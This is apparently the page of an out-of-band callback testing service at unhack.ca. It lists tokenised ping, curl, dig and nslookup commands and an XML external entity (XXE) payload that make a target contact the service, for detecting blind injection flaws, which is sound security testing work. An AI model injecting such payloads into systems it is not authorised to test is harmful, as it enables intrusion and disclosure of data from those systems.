$ ping -c1 -p 005c9281447b3577980b494a26aa6600 unhack.ca
 
$ curl http://unhack.ca/p/5c9281447b3577980b494a26aa66
 
$ dig 5c9281447b3577980b494a26aa66 @unhack.ca
 
$ dig 5c9281447b3577980b494a26aa66.ns.unhack.ca
 
C:\> nslookup 5c9281447b3577980b494a26aa66 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5c9281447b3577980b494a26aa66">]>
    <foo>&xxe;</foo>
 
Waiting for ping...